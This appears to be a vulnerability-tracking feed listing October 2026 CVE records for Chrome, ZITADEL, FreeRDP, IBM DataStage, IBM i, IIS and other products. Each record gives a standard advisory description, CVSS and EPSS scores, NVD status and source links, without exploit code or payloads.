### Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110140
Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110140).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110140&date=2026-10-25).
Sources:
NVD CVE-2026-110140: https://nvd.nist.gov/vuln/detail/CVE-2026-110140
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110140&date=2026-10-25
Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...
https://kevwire.com/record/CVE-2026-110138
Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the... (Oct 13, 2026).
Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110138).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110138&date=2026-10-25).
Sources:
NVD CVE-2026-110138: https://nvd.nist.gov/vuln/detail/CVE-2026-110138
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110138&date=2026-10-25
Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110137
Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110137).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110137&date=2026-10-25).
Sources:
NVD CVE-2026-110137: https://nvd.nist.gov/vuln/detail/CVE-2026-110137
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110137&date=2026-10-25
Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110136
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110136).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110136&date=2026-10-25).
Sources:
NVD CVE-2026-110136: https://nvd.nist.gov/vuln/detail/CVE-2026-110136
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110136&date=2026-10-25
Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103851
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103851).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103851&date=2026-10-25).
Sources:
NVD CVE-2026-103851: https://nvd.nist.gov/vuln/detail/CVE-2026-103851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103851&date=2026-10-25
Substance3D - Stager is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow...
https://kevwire.com/record/CVE-2026-109371
ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow... (Oct 12, 2026).
ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow before any factor is verified. Unauthenticated attackers can submit a victim's login name and then post a new username to rename any active human user, including administrators, locking them out.
CVSS 8.8 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109371).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109371&date=2026-10-25).
Sources:
NVD CVE-2026-109371: https://nvd.nist.gov/vuln/detail/CVE-2026-109371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109371&date=2026-10-25
ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow before any factor is verified. Unauthenticated attackers can submit a victim's login name and then post a new username to rename any active human user, including administrators, locking them out.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure.
https://kevwire.com/record/CVE-2026-109257
FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure. (Oct 12, 2026).
FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure. Attackers using a crafted RDP client can negotiate NSCodec with a large desktop geometry to trigger allocation failure, crashing the server during context teardown.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109257).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109257&date=2026-10-25).
Sources:
NVD CVE-2026-109257: https://nvd.nist.gov/vuln/detail/CVE-2026-109257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109257&date=2026-10-25
FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure. Attackers using a crafted RDP client can negotiate NSCodec with a large desktop geometry to trigger allocation failure, crashing the server during context teardown.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing.
https://kevwire.com/record/CVE-2026-109242
FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing. (Oct 12, 2026).
FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing. A malicious RDP server can send a crafted WBT_TILE_FIRST then WBT_TILE_UPGRADE sequence to paint heap bytes onscreen or abort the client process.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109242).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109242&date=2026-10-25).
Sources:
NVD CVE-2026-109242: https://nvd.nist.gov/vuln/detail/CVE-2026-109242
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109242&date=2026-10-25
FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing. A malicious RDP server can send a crafted WBT_TILE_FIRST then WBT_TILE_UPGRADE sequence to paint heap bytes onscreen or abort the client process.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi.
https://kevwire.com/record/CVE-2026-108906
A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi. (Oct 12, 2026).
A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi. The manipulation of the argument put_file leads to out-of-bounds read. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108906).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108906&date=2026-10-25).
Sources:
NVD CVE-2026-108906: https://nvd.nist.gov/vuln/detail/CVE-2026-108906
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108906&date=2026-10-25
A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi. The manipulation of the argument put_file leads to out-of-bounds read. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an...
https://kevwire.com/record/CVE-2026-82096
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an... (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82096).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82096&date=2026-10-25).
Sources:
NVD CVE-2026-82096: https://nvd.nist.gov/vuln/detail/CVE-2026-82096
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82096&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.
https://kevwire.com/record/CVE-2026-82101
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability. (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.
CVSS 9.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82101).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82101&date=2026-10-25).
Sources:
NVD CVE-2026-82101: https://nvd.nist.gov/vuln/detail/CVE-2026-82101
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82101&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an...
https://kevwire.com/record/CVE-2026-82103
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an... (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an unauthorized actor.
CVSS 9.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82103).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82103&date=2026-10-25).
Sources:
NVD CVE-2026-82103: https://nvd.nist.gov/vuln/detail/CVE-2026-82103
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82103&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an unauthorized actor.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS...
https://kevwire.com/record/CVE-2026-82108
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS... (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82108).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82108&date=2026-10-25).
Sources:
NVD CVE-2026-82108: https://nvd.nist.gov/vuln/detail/CVE-2026-82108
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82108&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.
https://kevwire.com/record/CVE-2026-82110
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal. (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.
CVSS 9.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-82110).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-82110&date=2026-10-25).
Sources:
NVD CVE-2026-82110: https://nvd.nist.gov/vuln/detail/CVE-2026-82110
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-82110&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer...
https://kevwire.com/record/CVE-2026-84418
IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer... (Oct 12, 2026).
IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer Authorization header automatically attached by the session adapter. The captured token grants full platform-scope tenant API access, enabling the attacker to read and manipulate the victim's DataStage projects, flows, assets, and pipeline definitions. This is client-side SDK code running on the user's own machine, so exploitation requires an external network interceptor rather than a co-tenant in the shared cluster.
CVSS 7.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84418).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84418&date=2026-10-25).
Sources:
NVD CVE-2026-84418: https://nvd.nist.gov/vuln/detail/CVE-2026-84418
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7288649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84418&date=2026-10-25
IBM DataStage on Cloud Pak for Data 5.4.0.0 can allow a man-in-the-middle attacker to present a forged TLS certificate, intercept the connection, and capture the IAM bearer Authorization header automatically attached by the session adapter. The captured token grants full platform-scope tenant API access, enabling the attacker to read and manipulate the victim's DataStage projects, flows, assets, and pipeline definitions. This is client-side SDK code running on the user's own machine, so exploitation requires an external network interceptor rather than a co-tenant in the shared cluster.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.
https://kevwire.com/record/CVE-2026-81858
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server. (Oct 13, 2026).
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.
CVSS 5.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81858).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81858&date=2026-10-25).
Sources:
NVD CVE-2026-81858: https://nvd.nist.gov/vuln/detail/CVE-2026-81858
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7290195
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81858&date=2026-10-25
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to cause a denial of service and obtain information due to an out-of-bounds read in the File Server.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.
https://kevwire.com/record/CVE-2026-93886
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input. (Oct 13, 2026).
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.
CVSS 8.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93886).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93886&date=2026-10-25).
Sources:
NVD CVE-2026-93886: https://nvd.nist.gov/vuln/detail/CVE-2026-93886
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291760
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93886&date=2026-10-25
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to execute arbitrary script code due to improper validation of user-supplied input.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization...
https://kevwire.com/record/CVE-2026-96119
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization... (Oct 13, 2026).
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization by the HTTP Server Administration web application.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96119).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96119&date=2026-10-25).
Sources:
NVD CVE-2026-96119: https://nvd.nist.gov/vuln/detail/CVE-2026-96119
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292159
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96119&date=2026-10-25
IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization by the HTTP Server Administration web application.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-97830
Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97830).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97830&date=2026-10-25).
Sources:
NVD CVE-2026-97830: https://nvd.nist.gov/vuln/detail/CVE-2026-97830
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97830
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97830&date=2026-10-25
Double free in Windows Internet Information Services allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
